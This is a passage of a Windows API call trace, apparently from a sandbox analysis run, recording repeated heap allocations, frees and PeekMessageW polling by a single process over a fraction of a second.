wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.775] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.775] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.775] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.775] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0132.775] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.775] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0132.775] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.775] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.775] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.775] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.775] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.776] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.776] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0132.776] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0132.776] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0132.776] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0132.776] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.776] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0132.776] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.776] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0132.776] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0132.777] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.777] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.777] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f00 [0132.777] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.777] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f00 | out: hHeap=0xe80000) returned 1 [0132.777] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.777] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2a8 [0132.777] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0132.777] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.777] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.777] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.777] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0132.777] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.777] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.778] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.778] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.778] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.778] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.778] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0132.778] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.778] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0132.778] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0132.778] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0132.779] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.779] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.779] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.779] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0132.779] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.779] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.779] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0132.779] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0132.779] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.780] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0132.780] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.780] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.780] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.780] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.780] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.780] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077198 [0132.780] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077198 | out: hHeap=0xe80000) returned 1 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0132.781] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.781] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32c0 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0132.781] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0132.781] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.781] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.782] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.782] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.782] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.782] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0132.782] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.782] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.782] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0132.782] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.782] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.782] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.783] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0132.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0132.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.783] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.783] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016080 [0132.783] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0132.784] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0132.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0132.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.784] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.784] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.784] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.785] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.785] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.785] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0132.785] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.785] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.785] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.785] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.786] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.798] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0132.799] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0132.799] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.799] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.799] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0132.799] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.800] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0132.800] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.800] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0132.800] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.800] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.800] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.800] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.800] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.800] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.800] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.801] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.804] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.804] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.804] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.804] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0132.804] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.804] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.804] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.804] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.804] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.805] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.805] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.805] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0132.805] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.805] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.805] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.805] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.805] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0132.805] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.805] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.806] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.806] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.806] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.806] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.806] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.806] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.807] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.807] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.807] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.807] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0132.807] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.807] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9aa8 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0132.807] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.807] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9aa8 | out: hHeap=0xe80000) returned 1 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0132.808] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.808] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0132.808] 